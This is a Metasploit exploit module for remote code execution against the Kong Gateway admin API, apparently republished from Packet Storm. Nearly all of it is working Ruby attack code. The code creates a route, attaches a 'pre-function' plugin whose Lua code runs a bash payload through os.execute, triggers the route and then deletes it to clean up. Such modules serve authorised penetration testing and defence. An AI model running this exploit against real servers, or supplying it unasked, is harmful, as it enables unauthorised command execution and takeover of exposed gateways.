Kong Gateway Admin API Remote Code Execution

This Metasploit module uses the Kong admin API to create a route and a serverless function plugin that is associated with the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the route is deleted, which also deletes the plugin.

MD5 | 864501ece471d75b51c2e231c10cf5c4

Download

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name' => 'Kong Gateway Admin API Remote Code Execution',
      'Description' => '
        This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
        the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
        route is deleted, which also deletes the plugin.',
      'License' => MSF_LICENSE,
      'Author' => ['Graeme Robinson'],
      'References' =>
      [
        ['URL', 'https://konghq.com/'],
        ['URL', 'https://github.com/Kong/kong'],
        ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']
      ],
      'Platform' => %w[linux macos],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' =>
      [[
        'Unix (In-Memory)',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Type' => :unix_memory
      ]],
      'Privileged' => false,
      'DisclosureDate' => 'Oct 13 2020',
      'DefaultOptions' => { 'RPORT' => 8001 },
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
      }
    ))
    register_options(
      [
        OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),
        OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),
        OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])
      ],
      self.class
    )
  end

  def check_response(response, expected, path, description)
    fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
    return if response.code == expected

    fail_with(Failure::UnexpectedReply,
              "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
  end

  def create_route
    path = normalize_uri(target_uri.path, 'routes')
    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
                                  'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } })
    check_response(response, 201, path, 'creating route')
  end

  def create_plugin
    # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of
    # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.
    cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}
    path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')
    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
                                  'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } })
    check_response(response, 201, path, 'creating plugin')
  end

  def request_route
    path = normalize_uri(target_uri.path, @rand_name)
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    retry_count = 0
    begin
      response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })
      check_response(response, 503, path, 'requesting route')
    rescue Msf::Exploit::Failed
      maximum_retries = 3
      if retry_count <= maximum_retries
        retry_count += 1
        print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
        sleep(retry_count**2)
        retry
      end
      raise
    end
  end

  def delete_route
    path = normalize_uri(target_uri.path, 'routes', @rand_name)

    # Delete it
    response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })
    check_response(response, 204, path, 'deleting route')

    # Check Whether it deleted
    response = send_request_cgi({ 'uri' => path })
    check_response(response, 404, path, 'verifying that route has been deleted')
  end

  def check
    @route_cleanup_required = false
    # Check admin API
    response = send_request_cgi
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'

    # Check public API
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    path = normalize_uri(target_uri.path, @rand_name)
    response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'

    CheckCode::Appears
  end

  def exploit
    @rand_name = rand_text_alphanumeric(10)
    @route_cleanup_required = false
    fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
    @route_cleanup_required = true
    create_route
    vprint_good("Created route #{@rand_name}")
    create_plugin
    vprint_good("Created plugin for route #{@rand_name}")
    request_route
    vprint_good("Requested route #{@rand_name} using public API")
  end

  def cleanup
    return unless @route_cleanup_required

    delete_route
    vprint_good("Deleted route #{@rand_name}")
  end
end

Source: packetstormsecurity.com